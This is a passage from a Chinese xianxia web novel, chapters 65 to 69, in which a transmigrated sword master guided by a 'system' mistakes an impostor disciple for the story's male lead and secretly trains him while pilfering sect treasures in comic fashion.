说到慕温瑜另一个徒弟…… 秦越叹了口气,另一个徒弟倒是上进很多,可是也许是太上进了,野心勃勃永不知足,最后被欲望吞噬。 他叫什么来着? 秦越蹙起眉。算了,记不得就记不得吧,左右也不过是一个反派罢了。 “祁鸿羽。” 咚的一声闷响,贺煜臣不情不愿地再一次睁开眼,他的耐心要到了尽头。但怕被外人瞧出了端倪,他只能扮演着祁鸿羽的角色。 贺煜臣僵硬地扯起嘴角,“道友究竟有何事?” 他是在笑着的,但笑意仅限于表面,眼神依旧是冷冰冰的。 秦越再一次确定,男主确确实实的黑化了。 “我听闻你是因为跟外宗人打架进来的?” 看过原文,秦越觉得像祁鸿羽这样的年轻气盛,干出打人的事情也不奇怪。 慕温瑜年纪不大,辈分却很高,加上人长得可以说是跟仙风道骨、须发巨白的老爷爷师尊形象相去甚远。他长得眉眼如工笔勾勒的牡丹,浓烈到近乎艳丽,而挺拔的鼻梁又像雪峰般镇住这份艳色。 不少弟子都对慕温瑜芳心暗许男主自然也不例外。 而这个外宗人好死不死地当着祁鸿羽的面,暗指慕温瑜长老之位来路不正,全靠那张脸,还不知道他背地里做过什么事呢。 祁鸿羽一听,好啊,造谣造到我脸上来了。二话不说,他直接上去邦邦两拳。两个人在众目睽睽之下,扭打到了一起。 遮掩的伤疤只会继续腐烂生疮,还不如直接剜出。这是男主跟他师尊有龃龉的开始,男主因为身上有伤,加上之前没吃过什么苦,在鬼哭洞里度日如年,确实是有一瞬间恨上了他的师尊。 他不是恨慕温瑜没有给他开脱,祁鸿羽也清楚宗门戒律不可改,他只是恨慕温瑜没有一如既往地站在他那一边。 贺煜臣暗自骂了一句祁鸿羽蠢货,丢人都丢到鬼哭洞了。 他在沉默中承认了,片刻后皱眉道:“这跟你有什么关系?” 秦越问他:“你不想报仇吗?” 贺煜臣心里警觉起来,本来他之前就觉得外宗人莫名其妙挑衅祁鸿羽很不对劲。 敢在太虚神霄宗内说慕温瑜的闲言碎语,除了对方找死他想不到别的理由。但就偏偏祁鸿羽这个傻子直接往陷阱里跳。 动手,祁鸿羽先出手的,还没打过人家。证据,没人证没物证,他空口白牙说外宗人先口出狂言,哪怕是太虚神霄宗出了名的护犊子,也没法不要脸面的硬扣人家下来。 现在,跟他一墙之隔的人,居然开口说要帮祁鸿羽,贺煜臣不得不怀疑这中间有什么联系。 贺煜臣和和气气地拒绝了:“不想,此事是我太冲动了。” …… 秦越:“?” 那个上去一记直拳把人打蒙的男主呢? 怎么在鬼哭洞待了半天就老实了? 秦越狐疑地看着贺煜臣:“你真不想?” 贺煜臣按下心底的猜忌,微微一笑:“道友为何纠结此事?” 秦越扮出了一副直肠子的模样,“哪能容得外宗人在我们这大放厥词,真当太虚神霄宗好欺负。马上不就是论道的日子了吗,你到时候堂堂正正地把他揍趴下,正好出了这口恶气。” 快问我要怎么短时间内提升功力。 快求我帮你走捷径,然后一鸣惊人。 快!说!话!秦越脸上的慷慨激昂要崩不住了。 贺煜臣:“……” 他含笑望着秦越,礼貌地说道:“宗内有道友这样的弟子,是我宗之幸事。不如到时候你亲自论道,也未尝不可啊。”贺煜臣话锋一转,“对了,还不知道道友的名字?” 秦越看着侧过脸问他的贺煜臣,对方眼窝深邃,一双桃花眼里却是化不开的阴沉。 秦越本想报个假名,但思来想去也没这个必要。 贺煜臣作恍然大悟状:“秦道友是哪个峰的弟子?为何也身在此处。” ……哪里不对。 被反客为主追问的秦越如是想着—— 作者有话说:天机峰峰主(抹泪):千防万防,家贼难防啊。 第66章 贺煜臣见秦越久久不答,便善解人意地挪开视线。 “秦道友不愿说就算了。” 系统在秦越试图诱导“祁鸿羽”时,翻了翻上个世界的记录,发现任务时间长达几十年,它不信邪地往前又查看了一个世界,发现如出一辙。 系统:[……] 这个世界无论如何也该提提速了。 它开始催进度:[这时候您说自己是剑尊,会不会吓他一大跳。] 秦越掀了掀眼皮:“不会,只会让他觉得我是因为得了癔症,辱没了剑尊名讳才在这关禁闭。” 眼前人跟小说里没什么心眼子的描述一点不沾边,本来秦越觉得忽悠一个典型热血漫画式男主很简单。现在看来,也许男主只是在白月光面前,才会恋爱脑启动,晕头转向失了理智。 这个事件节点看样子是废了。 秦越瞥了一眼“祁鸿羽”,他当然不会闲着没事跟男主在这共患难,所以在系统期待的眼神中他想离开,等下一个重要事件节点开始。 系统:[呃,那个原文里,祁鸿羽因为在这里旧伤复发,高烧陷入了梦魇,导致他妖族血脉出现波动,被潜伏在太虚神霄宗的妖族发现,然后……] 然后就是一系列连锁事件,最后男主陷入了我是谁,我属于人族还是妖族的人生哲理问题上。 太虚神霄宗可不敢寄希望于祁鸿羽能弄明白自己到底属于哪一方,特别是祁鸿羽身上有妖族王室血脉,那是可以开启妖族修仙成道的钥匙。 所以他们得知了祁鸿羽的身份后,想方设法就要将其擒拿入阵,借由阵法引天火把祁鸿羽的妖血焚烧殆尽。 祁鸿羽母亲是妖族最后一位王女,结果路遇祁鸿羽父亲,一头栽进爱河,背弃了族人,将族人升仙大业抛之脑后。 ……由此看来,男主的恋爱脑也是遗传的。 最终祁鸿羽想来想去,还是想不明白后,他索性一把火烧了想先焚了他的太虚神霄宗。 秦越停住了想离开的脚步,又看了一眼脸色苍白的“祁鸿羽”。 秦越感受不到这里的阴冷,他灵力澎湃,在体内回转,将寒冷祛除的一干二净。 鬼哭洞一是水气过甚,二是无数弟子在此处被处罚怨念极深,还有一些弟子命丧于此,洞穴内阴气十足。加上总有违背戒律的弟子来次,源源不断地加深了怨气,久而久之,这里也成了风水极差的地方。 秦越透过孔洞扔给“祁鸿羽”一个东西。 贺煜臣一直靠冥想来转移身体上的不适,可时间久了,这种如跗骨之蛆的冷意,让他牙关紧闭,浑身发抖。 他快熬不住的时候,被什么东西不轻不重地砸了一下。他睁开眼,发现隔壁那个怪人拿了个东西扔到他身侧。 贺煜臣已经连表面上的客套都做不出来了,他看了很久才确定,秦越只是向他砸了一块小石头而已。 洞穴内随处可见的,普普通通的一块石头。 这是在耍他吗?还是在故意挑衅他? 贺煜臣心想,他可比祁鸿羽能忍多了。 不会因为被砸了一个石头,就立刻恼羞成怒。 他抬起头,脸上毫无异色:“这是何意?” 秦越发现贺煜臣无动于衷,瑟瑟发抖的身躯明显是强弩之末了,他无奈开口提醒:“拿起来。” 贺煜臣手指有些冻僵了,关节像生了锈一般不听使唤,他不想跟这个怪人虚与委蛇,可他现在是“祁鸿羽”。 自己不能做出跟祁鸿羽不一样的事,至少祁鸿羽不是会跟同宗弟子摆脸色的人。 祁鸿羽人缘好到离谱,虽然有人会说他太过没心眼,但没人会拒绝一个像太阳一般,永远明澈的人。 明澈,太阳。 听起来跟自己是完完全全的反义词。 贺煜臣自嘲地笑了笑,他伸出手探向那块不起眼的石头。 就算怪人是在捉弄他,他也认了。 当贺煜臣触及到石头的一瞬间,一股暖流顺着指尖钻入他的五脏六腑。他顿时那种冷到发麻的感觉没有了,取而代之的是一阵暖意。 贺煜臣听别人说过,冷到一定程度的时候,人是会产生幻觉的。幻想自己很热,还好脱掉自己的衣物,很多被冻死的人反而是赤裸的。 他目光茫然,难道自己也陷入了这种幻象了吗? 系统戳了戳秦越的肩膀:[宿主,您是把他定身了吗?他怎么一动不动。] 秦越心说不对啊,自己分明是将一道火灵咒封印在石头里,只要贺煜臣握着就差不多跟捧着一个超大号暖炉差不多。 他可没在石头里面施加什么定身的法术。 良久,贺煜臣才转过身,疑惑不解的表情转瞬即逝,他握紧掌心中的石块,复又松开。 这次“祁鸿羽”不再是秦越之前看到的,肉眼可见的敷衍,反而露出一种带着兴味探究的笑。 “你根本不是太虚神霄宗的弟子,是不是?” 秦越也没打算骗他,所以他摇了摇头,“你怎么知道的?” 贺煜臣指了指自己的手腕上的拘灵锁:“你没有这个。” 秦越一点没有撒谎后被拆穿的尴尬,他噢了一声,就挑眉看着贺煜臣,想知道对方态度一百八十度大转弯的理由。 贺煜臣其实没想那么多。 他一开始以为秦越是别峰弟子,来这只是为了煽风点火,或者秦越与外宗人有所勾结。 毕竟无相峰中只有慕温瑜他们师徒三人,却独占了一整座峰的灵气,更有甚者说,剑尊留下的那道剑意就藏在无相峰里,不少太虚神霄宗的人就等着他跟祁鸿羽犯事,好让慕温瑜的徒弟席位空出,自己取而代之。 而刚才的种种迹象表明,秦越并非是被处罚关在此处的弟子,因为他并未佩戴拘灵锁。 秦越了然地点了点头,他确实伪装的很随意,本来也就没打算隐瞒什么,但是眼下告诉“祁鸿羽”,说自己是你们宗的老祖宗还是太过了,对方多半会觉得自己疯了。 因为世人虽然没有详说,但几乎所有人都默认这位很长时间没有踪迹的剑尊,是在哪个深山老林,或者是洞府地穴里坐化了。毕竟没有人能活那么久,就算强如帝命剑尊也不行。 所以秦越退而求其次地说:“我是护宗人。” 从贺煜臣的表情来看,他是信了几分的。 太虚神霄宗确实有护宗人,又叫守山人,此人在原文中的确存在。 跟在大结局里短暂出现了几秒钟的帝命剑尊不同,这人是个实打实的背景板,没有任何剧情,剑尊好歹结尾还出现召唤了那道剑意,破除了男主的心魔,虽说来的迟了一点,导致白月光挂了以外,如天神降世,拯救太虚神霄宗于水火之中,排面拉满。 而原文里提到的护宗人,纯粹是为了体现太虚神霄宗防御满级。结果山门后期被男主一巴掌拍成渣渣的时候,这人也没现身。护宗结界更是跟纸糊的差不多,除了衬托出男主无人能挡,他可以说一点用没有。 “区区拘灵锁就让你束手无策了?”秦越像是百无聊赖的宗师,偶然遇到了令他有点兴趣的人,“看来你师尊也不怎么样,不如让我好好指点你一番。” 贺煜臣下意识抚上那道拘灵锁,这道锁乃是戒律堂堂主亲自刻下铭文的,如果能破除禁制,证明眼前人的修为足以匹敌戒律堂堂主,也就是说至少为宗师境界。 秦越一见对方没有立刻应允,猜测“祁鸿羽”恋爱脑又犯了,多半是因为不想让慕温瑜知道自己在外又找了一个师尊。 “我只是指点你一下,并无师徒之实,你也不用担心慕温瑜会对你有意见。” 贺煜臣犹豫着开口:“为什么是我?” 秦越语调平淡:“因为你是祁鸿羽,仅此而已。” 他大可以编出各种借口,比如说你骨骼惊奇,天资聪颖,或者说你我有缘,见之可亲,但秦越对这种说烂了的套话嗤之以鼻。 他现在作为隐世的高人,行事只凭心意,无需理由。 贺煜臣眼神一暗。 ……又是祁鸿羽。 慕温瑜偶尔落在他身上的眼神,总是没有焦点,就像透过他在看另一个求而不得的人。贺煜臣知道他被慕温瑜看做是祁鸿羽的替身,可为什么就连眼前这个隐世的宗师,也是看中了祁鸿羽这个人。 贺煜臣不明白,祁鸿羽到底有什么能耐,可以让那么多人对他青睐有加。 他整个人都在微微地发抖,但这次不是因为寒冷。 是嫉妒吗?或许很久之前,贺煜臣会嫉妒祁鸿羽有不错的出身。虽然祁鸿羽父亲早逝,但其能与慕温瑜私交甚好,足以证明他曾经也是名门之后。不像自己空有不错的天赋,却没有显赫的家世。 在修真界里没有足够的家族底蕴,就像一个正在炼丹的药鼎,纵使是顶好的材料,没有持续不断的旺盛炉火,最后得到的也只能是个勉强能看的成品。 时间久了,这种嫉妒开始变成了麻木,贺煜臣接受了这种令他备受挫折的落差。 他此刻浑身因为紧张和兴奋而颤抖。刚才的话,秦越没必要骗他,特别是这种在实力上根本做不了假的事情。只要他出去跟秦越过几招,便绝对可以辨别出对方的修为深浅。 虽然不知道这位宗师一开始执着地想让他报复外宗人的原因,但像秦越这样的高人总是各有各的古怪。贺煜臣曾见过的一些宗师级修士,他们有的喜怒无常,对待侍从打骂如猪狗,有的又苦行悲悯,常年守于渡口背人渡河,无人时便滚石磨心,将苦视为得道之途。 相较之下,秦越可以说是还算正常,所以贺煜臣对他的举措毫不生疑。 秦越叹了口气,觉得“祁鸿羽”实在是过于谨慎,于是再一次问道:“你到底愿不愿意让我教你?” 贺煜臣清楚地知道,这句愿意一旦说出口,就不能再收回了。 如果让这位宗师知道自己撒了一个弥天大谎…… 会是什么结果,贺煜臣不能想,也不敢想。 但他拒绝不了这种诱惑。 自从他来到太虚神霄宗,数十年不曾回家。在无相峰战战兢兢如履薄冰数,为了讨好他所谓的师尊,脏活累活他来者不拒,只是为了向慕温瑜证明他还有用。 他容忍着一切的不公都是为了让自己足够强,强到足以站在巅峰睥睨那些曾经看不起他的人。 因此他必须、一定要得到那道剑意。 所以哪怕贺煜臣知道被秦越识破的结局是死,在此刻他也只会义无反顾地说他愿意—— 作者有话说:贺煜臣对秦越的评价:挺正常一老登。 第67章 秦越终于得到了这个难搞的“恋爱脑”的同意,接着对方果不其然地提了一个无伤大雅的要求。 “祁鸿羽”说希望秦越不要出现在慕温瑜面前,当然最好是不要出现在他任何同门面前。 此时,两个人脑海中不约而同的涌出了各自的想法。 秦越:嗐,果然我就知道这小子怕被慕温瑜误会,这才什么时间节点,就被白月光吃得死死的了。 贺煜臣:一定不能让这位宗师知道我冒名顶替祁鸿羽的身份! 两人完全不在一条线上的逻辑,却误打误撞完美地闭环了。 秦越简直要被男主谈情说爱至上,修炼通通靠边的逻辑给气笑了。 身份既然已经“挑明”,秦越便不再伪装,他如眼前空无一物般地穿过岩壁,在贺煜臣面前负手而立。 秦越不置可否:“看你表现。” 菜就多练,他说了要让男主知道什么是爱的教育。 贺煜臣手腕上一松,之前纹丝不动的拘灵锁咔哒一声,在秦越掌心下乖乖地打开。 贺煜臣深吸一口气,他想伪装成祁鸿羽逢人便笑的性格,但可惜他本身不是爱笑的人。 贺煜臣不是没听过同门曾背地里偷偷叫他棺材脸,他并非故意冷着脸对待旁人,而是天生就是这般。 眼下,他不想让这个神秘的前辈讨厌他。 贺煜臣僵硬地挤出一个笑,嘴角像是撑不住了,又迅速地放下。 秦越:“?” 他问系统:“男主刚刚是不是对我假笑了一下?” 系统在开小差,刚打开的电影还没放完片头呢。它心虚地眨巴眼睛,看向贺煜臣,然后斩钉截铁地说:[没有呀,他笑了吗?男主现在心情应该糟得不行,您还是想办法让他别记恨慕温瑜吧。] 秦越眼角一抽。 好家伙。 天杀的这是让他当什么和稀泥的感情小红娘吗? 懂的都懂,当代人都是劝分不全和的。 秦越不自在地咳了一声,贺煜臣立刻抬眸,一幅洗耳恭听的模样。 秦越握拳抵在唇边,老神在在地认真装逼:“虽然慕温瑜教得差点意思,但他毕竟是你的师尊,俗话说一日为师终身为父……” 不对。 一想到这二位教着教着就教到床上去了,这听上去更像是□□。 秦越一个急刹车:“总之,你也要记得你师尊的好,我可不想指点一个白眼狼。” 贺煜臣眼中只有平静,仿佛秦越提及的是一个无关紧要的人。他歪了歪头,打量着秦越,之前到底是隔着一层岩壁,并没有仔细看清对方的长相。 秦越跟慕温瑜完全是两个极端。 慕温瑜是那种别人看见就会觉得是一等一的高手,容颜也是极盛,美得让佛窟壁画都黯然失色,举手投足间温柔可亲,活脱脱一位下凡救世的活菩萨。 秦越衣袂猎猎,背后是高悬的瀑布。他面部线条锋利,眉骨高挑,本就是令人敬而远之的凶煞之相,而那双凌厉的眉还习惯性地蹙着。 哪里像什么正道的护宗人,说是嗜血成性的妖族贺煜臣都会信。 忽然说不清地压迫感就靠了过来,秦越抬手似乎想做什么。 贺煜臣意识空白了一瞬,他反手按住秦越的手,“前辈你……” 他声音低哑,带着不易发觉的紧张。 秦越被死死按住的手指,他盯着贺煜臣的眼睛:“松手。” 贺煜臣压下想把对方一把挥开的冲动,他垂下眼睫,任由面前人的指尖,肆无忌惮地触过他周身几处大穴。 贺煜臣未曾与旁人那么近过,这让他多少有些不自在,等到浑身一动不动的肌肉都僵住了,秦越才善心大发地放开了他。 “我只是检查你是否有沉疴。”秦越不轻不重地收回手,表情颇为冷漠,“免得我费功夫教了个死人。” 秦越当然是在看所谓的妖族血脉有没有要爆起的趋势。 还好他顺着“祁鸿羽”的筋脉走了一番,并未发现血脉觉醒的样子。 贺煜臣掩唇咳嗽了一声,“前辈请放心,在下虽然愚钝但也不至于在此殒命。” 倒不是怕你死在这了,你那护犊子的师父只是正在气头上,等到这股子闷气过了,马上就会来捞你了。 秦越探查完贺煜臣的筋脉,他注视着贺煜臣,表情有些复杂,因为这个男主并没有他想象的那么拉胯。 相反对方灵气不弱,筋脉生机勃发,足以可见厚积薄发之相。没有长期的修炼积累和试炼沉淀,是达不到这种效果的。 原来…… 男主居然是扮猪吃老虎这一挂的吗? 秦越见贺煜臣脸色恢复如常后,唇瓣也不再是之前被冻得青紫色,他便问道:“如今太虚神霄宗的弟子使用何种心法?” 贺煜臣觉得秦越的问话有些古怪,听上去这位高手的确隐世很久了。 这种怪异的感觉只持续了很短的一瞬,贺煜臣来不及多想,只能先回答秦越的问题:“各峰弟子不尽相同。晚辈所属的无相峰为太虚神霄宗正统,修炼的为帝命剑尊所传心法《无相空明》。” 说无相峰为太虚神霄宗的正统,并非贺煜臣夸大其词。 剑尊当年并未广收门徒,而他指点徒弟时,也相当随性。不像别的尊者循规蹈矩,循序渐进。他教人的时候完全是只凭心意,东一榔头西一棒槌,导致能领悟到他心法的徒弟就更少了。 到当下,太虚神霄宗早就分化出各类修士,虽然药修符修剑修比比皆是,而真正专修无情道的只剩下无相峰这一个独苗苗。更别说慕温瑜本人一直没有收徒,这事急得宗主直揪头发。 最后忍无可忍的宗主告诉慕温瑜要么他去收徒,要么他就来当这个宗主,自己去做无相峰峰主。 剑尊的传承可不能断在他手里,否则他不就成了太虚神霄宗的千古罪人。慕温瑜推诿不下去了,这才收了长相酷似祁鸿羽的贺煜臣当徒弟。 秦越点了点头,“练给我看。” 贺煜臣喉头一动。 心法相当于一个修士的基底,无论学得是哪一路门派,都需要先选一个适宜自己且对自己修炼方向有所助力的心法。 但所有人都不会在陌生人面前运作心法,因为只要旁人不怀好意,趁修士专注内府时,就能轻而易举至人于死地。 秦越仿佛只是提了一个微不足道的要求,好整以暇地看着贺煜臣,注意到了对方眼神躲闪,他挑了挑眉:“怎么?你不愿意。” 贺煜臣:“并非不愿。” 他叹了一口气,闭目开始默念《无相空明》。 贺煜臣虽没有睁开眼,可他能感受秦越赤裸裸的视线,让他避无可避。他硬生生忍住想要躲闪的念头,将心法运作了一个周天。 不多时,他抬眸望向秦越,这位一直发号施令,让他无法拒绝的人一改之前吊儿郎当的模样,眉头拧出一个川字,神情有些不解。 见到贺煜臣没有继续,秦越意识到贺煜臣已经将他所“认为”的《无相空明》运转完了。 秦越不知道为什么慕温瑜会这样教他。 原主是个不记事的性子,但《无相空明》在回忆里清清楚楚。因为《无相空明》是剑尊超脱其余尊者存在的基石,也是他独登大道的原因。 它并非只是单一的心法,更是融合了原主纵横一世的剑诀。 可是贺煜臣刚才的《无相空明》跟他记忆里的……完全不一样。 贺煜臣见秦越一直不说话,他心里泛起紧张,不明白哪里出了问题,惹得这位前辈不高兴。 他低下头,指尖扣住掌心逐渐收紧,“……是我学艺不精,让前辈看笑话了。” 秦越在贺煜臣对面盘腿坐下,他直视着贺煜臣的双眸:“从现在开始,忘掉你的《无相空明》。” 或许是秦越的表情太严肃,贺煜臣不自觉地心脏一缩,他茫然地说:“是我做的哪里不好吗?” 秦越不想诋毁慕温瑜,免得让男主心生怨念,只好不耐烦地说:“《无相空明》不适合你罢了。” 不适合……是什么意思? 贺煜臣连表面的客套都要维持不下去了。 众所周知,因为无相峰为太虚神霄宗的正统,所以历任宗主大多数都是出自这里。可是面前的人直白地告诉他,自己不适合修炼《无相空明》。 这就好像给他迎头浇了一盆冷水,告诉他想手握权柄是痴心妄想,想当上太虚神霄宗的宗主,更是可笑至极的春秋大梦。 他根本……根本就是…… 贺煜臣敛下眉目,看向自己的双手。 在接受了家族的平庸后,他终于要开始承认自己的平庸了么? 秦越等了半天,只等来一声苦笑。 贺煜臣:“是我耽误前辈时间了,我……” 他说着就想起身,可膝盖还未抬起,就被一股力量强硬地按了下去。 肩膀被一双有力的手紧紧攥着,贺煜臣仓皇中抬起头,入目是一张带着冷意的脸。 “我让你走了么?” 秦越的手没有收敛力道,贺煜臣清楚地感受到肩膀上被捏紧的疼痛。 他抿了抿唇,不知自己到底做了什么让秦越如此不满。 明明说自己不适合的是秦越,明明他也道过歉了,秦越凭什么还是得理不饶人的样子。 贺煜臣心中无名火起,可是看到掉落在一旁的拘灵锁,火气就好像被冰冷的水气浇灭了,只剩下心如死灰。 要不是秦越帮他,他还在这里挨饿受冻。 对方难道说了句实话,自己就接受不了了吗? 贺煜臣疲惫地眨了眨:“前辈还想做什么?” 秦越理所当然地说:“你到底要不要学别的心法?” 第68章 贺煜臣愣了许久,等到肩膀上施加的压力不见了,他怔然道:“别的心法?” 秦越不由分说扣住贺煜臣的手腕,贴在自己心脉上。他表情自如,丝毫没有防备,即便是把如此重要地方暴露给陌生人。 隔着一层单薄的外裳,贺煜臣能清晰地感受到掌心下的肌理,他不知道秦越是何意,但莫名与别人如此亲密,他有些窘迫。 贺煜臣想极力忽视秦越胸腔的起伏,可对方合上眼后,更显冷峻的容颜近在眼前,让他几乎避无可避。 也许只过了片刻,可贺煜臣如坐针毡,他感受不出到底过了多久,终于解脱似的看见秦越睁开了眼。 “懂了么?”秦越担心口述一遍《无相空明》太过晦涩难懂,毕竟原主当年传授徒弟时就随心所欲,搞得心法也不是常人能理解的,所以他在自己筋脉中重新调动灵气,亲自演示了一遍心法。 两个人大眼瞪小眼了一会,见到贺煜臣表情略显茫然,秦越疑惑道:“没懂?” 是会了还是不会,倒是给个准话啊。秦越只好牵起贺煜臣的手腕,准备故技重施。 贺煜臣艰难道:“前辈是让我感受心法如何运作的么?” 不怪他脑子没转过来,修真界就没有老师这样教学生的。 要是所有师父都这么教,那学堂上岂不是要变成徒弟挨个摸师父胸膛?这摸来摸去地成何体统! 秦越在贺煜臣快裂开的表情下,没觉得有什么不对地点了点头。 贺煜臣崩溃地说:“要不您先口述一遍呢?” 秦越:“你确定?” 贺煜臣抽回了手,神色坚定:“我确定。” “好吧。”秦越本来盘腿坐的端正,颇有一代宗师风范,得到贺煜臣的回答后,开始没个正形地随意坐下。 他连续说了一盏茶的功夫后,才堪堪停下,问道:“到这还听得懂么?” 贺煜臣睁大眼睛,什么叫到这?? 难道不是应该已经结束了吗。基础心法一般只是引气入体,让灵气在经脉里流转而已,通常不会特别复杂,怎么这位前辈说了一盏茶的功夫,还没有要停下的意思?! 况且秦越说了许多他听都没听过的词汇,他理解起来就更加的困难了。 不过好在贺煜臣平日里钻研刻苦,可以大差不差地猜出秦越的意思。所以他咬咬牙说道:“勉勉强强,前辈请继续吧。” 再过一盏茶的功夫…… 贺煜臣自暴自弃地朝秦越伸出手。 “要不然……还是麻烦前辈再演示一遍吧。” 原来前面秦越说得只能算作入门章,后面开始真正修炼的地方,他是一个字也听不懂。 秦越一脸你早这样不就完事了的表情。 他撩了一眼脸色不太好看的贺煜臣,难得没有出言嘲讽:“没能理解不是你的问题,是我……是这个心法编纂者的问题。” 秦越开始觉得,或许是真正的《无相空明》太过复杂,所以慕温瑜才没有传授给“祁鸿羽”。 贺煜臣按捺住乱七八糟的想法,按照他掌心下感触到的气息流向,再一次闭目冥想。 秦越漫不经心地看向入定的贺煜臣,点评道:“他灵气还是有些杂乱。” 系统立即警觉:[so?] 秦越:“我正在想办法。” 如果天赋上达不到,那就要靠后期缝缝补补。对于修真界来说,后期的助理无非就是吃丹药,造法宝。 系统脸上挂满问号,它察觉到秦越对男主的不满意:[宿主您不能按原主的天赋,来要求男主啊!] 剑尊是何等的天才,望眼而去,这千百年来也就出现这一位证道成功的尊者,剑尊的天赋自然不必多说。 男主虽然也不差,但这本小说并非是龙傲天流的升级流小说,而是一篇虐来虐去的感情流小说,原作者根本没废什么笔墨在男主的修炼上。写了祁鸿羽的苦修也只是为了虐虐读者,收获评论区一片男主好惨的哀嚎而已。 秦越秉承着要么不做,要么就要做最好的理论,他异常坚定地路过药修所在的主峰,然后……然后顺走了他们峰主用来炼丹的药鼎。 系统无力阻止,只能默默捂脸:要死要死。还好没人知道是他们老祖宗在这干偷鸡摸狗之事啊。 贺煜臣在修行,秦越也没闲着。 他凭借着系统提供的一些修真界的丹药谱,开始专心致志地炼药。 待到贺煜臣勉强运转一遍后,一睁眼一颗散发着药香的黑色丹丸出现他眼前。 秦越:“把它吃了。” 贺煜臣呼吸一错,心里微妙的不舒服。 又是这样发号施令的语气,也没有解释到底是什么东西,就要让他吃下去,但秦越表情却异常柔和,眼底还有不易察觉的期待。 贺煜臣还是咽了下去。 如果秦越真想毒死他,也用不着这么弯弯绕绕。 十日时间转瞬即逝。 秦越对看这对怨侣接下来的谈情说爱也没什么兴趣,趁着贺煜臣还在努力消化这套与之前截然不同的心法,决定不告而别。 既然已经用了灵药,去除了筋脉里的斑驳杂质。接下来,他得给男主找一个趁手的武器。 系统:[宿主。] 秦越:“嗯?” [是不是哪里不对。]系统幽怨地说道:[我觉得您像在玩rpg游戏,而男主被您当成了游戏操纵角色。] 您已经从给男主提升等级到给男主弄装备了。 这合理吗? 我是白月光助攻系统,不是龙傲天系统啊啊啊。 秦越无视了它控诉的语气,顺口问道:“下个关键剧情节点是什么?” 系统只好扒拉了一下原文,[是一次灭妖任务。] 慕温瑜本来养徒弟跟温室养花似的,严厉一点怕凶到祁鸿羽,要求多一点怕累到祁鸿羽。但经历了祁鸿羽这一次太过冲动的行为,他意识到不能在放任对方,就像教育不听话的孩子,吃点教训也许就会老实。 所以他派祁鸿羽参加了太虚神霄宗和其他门派的联合灭妖任务。 此举本是为了锻炼祁鸿羽的心智,加上去的都是青年才俊,慕温瑜觉得虽有一定风险,但也不会太过致命,却不料此行突生变故,祁鸿羽得知了自己的身世。 秦越点头:“这好办。” 这次灭妖行动,人数众多,他混入其中很难被发现。 若是有不长眼的妖族若是敢对祁鸿羽说什么,他顺手收拾了便是。 鬼哭洞,沙漏已然漏尽。 戒律堂的弟子准时到来,他拿出特质的钥匙对准拘灵锁的锁孔,在去掉贺煜臣手腕上的拘灵锁时,咦了一声。 这次卸锁怎么感觉不一样,没有熟悉的内部榫卯咔哒错开的动静。 弟子瞧了瞧没有异样的贺煜臣,觉得大概是自己多心了,对方怎么可能在没有钥匙的情况下,把宗师级别的拘灵锁打开呢。 贺煜臣只是用灵力维持着拘灵锁还在手腕上的假象。在戒律堂弟子翻来覆去检查拘灵锁的空档,他同样内心不平静。 万幸对方并没有看出异常,便将他放了出来。 鬼哭洞外,祁鸿羽正在等他。 贺煜臣是替他来受罚的,于情于理他在此等候都是应该的。 祁鸿羽还是小孩子的天性,见到贺煜臣一溜烟地跑了过去,他绞尽脑汁地想说点什么,最后决定说点轻松的事情来给师兄解解闷。 毕竟贺煜臣在鬼哭洞足足待了十天,祁鸿羽不敢想象,要是他在那个地方孤零零地待十天,不得憋出病来。 “这些天出了好几件大事你肯定想不到!” 贺煜臣平淡道:“哦。” 祁鸿羽并没有被贺煜臣不感兴趣的态度扫兴,因为他师兄一直像个修炼机器,对除了修行以外的事情从来不感兴趣。 他兴致勃勃:“天机峰峰主用来神降的化形符和神偶被盗了。” 贺煜臣:“……哦。” 祁鸿羽滔滔不绝:“九鼎峰峰主的九转轮回鼎也被盗了,但是很快又给还回来了。” “……” “还有,药尘峰的灵圃被人偷采了好几株珍贵灵药。” “……”贺煜臣纵然对这些逸闻再没有兴趣,也不由地被这位偷盗者胆大包天的行为惊呆了。 这是赶着上太虚神霄宗进货来了吗? 贺煜臣:“是何人如此猖獗?” 祁鸿羽摊了摊手:“这才是最大的大事,因为人压根没抓着。” 能在太虚神霄宗来无影去无踪,犯下这种事情,还能全身而退,这人究竟是何方神圣。 祁鸿羽津津乐道:“天机峰那个老头气得胡子都飘起来了。” 他所说的老头就是天机峰峰主,贺煜臣见过几次。跟印象中天机峰那群神神秘秘的“神棍”不同,这位老者面善得很,讲话举止跟个上了年纪的普通老人并无差别,闲来没事还会去带着鱼篓,在峰底潭水旁钓鱼。 “慎言。”贺煜臣瞥向祁鸿羽。 祁鸿羽嘿了一声:“我又没当着他的面这么说,师兄你也太谨慎了吧。” 他顿了顿又说:“最近论道在即,会不会是外宗的……” 贺煜臣:“师弟!” 祁鸿羽被他猛然抬高的音调给吓住了,他愣然地看着贺煜臣。 “忘记你是为何事被罚的了?”贺煜臣语气冰冷,“没有证据的话少说。” 近年来妖族气焰嚣张,一直悄无声息的他们一反常态,肆虐逞威起来。正道不得不联合起来以防巨变发生。 此番太虚神霄宗即是论道,也是为了借此机会,让各大宗门形成一个联盟,共同抵御妖族。所以祁鸿羽这时猜忌的言论,与太虚神霄宗宗的意愿背道而驰,免不得要落人口舌—— 作者有话说:秦薅羊毛越:我教出来的男主必须要是龙傲天! 祁真男主鸿羽:[裂开] 第69章 祁鸿羽生性单纯,直言快语,被贺煜臣“凶”了一下后,他蔫蔫地掰着手指说道:“我知道了。” 说罢祁鸿羽便闷着头往前冲,走了几步才想起来什么,告诉贺煜臣,“师尊最近闭关,关于藏书阁护卫一职的试炼事宜,他让你去找九鼎峰的严峰主。” 祁鸿羽口中的严峰主严正阳,就是那个被偷了药鼎的倒霉蛋,同时他也是慕温瑜的师侄。 虽说看在慕温瑜的面子上,严正阳不会推脱,但他最近心情确实不太美妙,换谁正在赶业绩的时候,工具被人偷走了,都会火大的吧。 贺煜臣头疼地按了按额角,觉得论倒霉自己也不逞多让。 “师尊为何闭关?” 不说还好,一提祁鸿羽眉头一拧,气哼哼地说:“谁知道他,反正他一生气就闭关呗。” 在祁鸿羽看来,慕温瑜完全是讲理讲不过他,就闭关躲着自己,这只不过又是双方的一次冷战。 不过祁鸿羽也没多在意,按照以前的惯例,慕温瑜出关后,这事就会不了了之,两人会默契体面地把此事揭过。 这几天,在戒律堂受过的伤已经好得差不多了,他心里早就没那么大的怨气。 祁鸿羽:“对了,师尊让我也去参加这次的灭妖任务。” 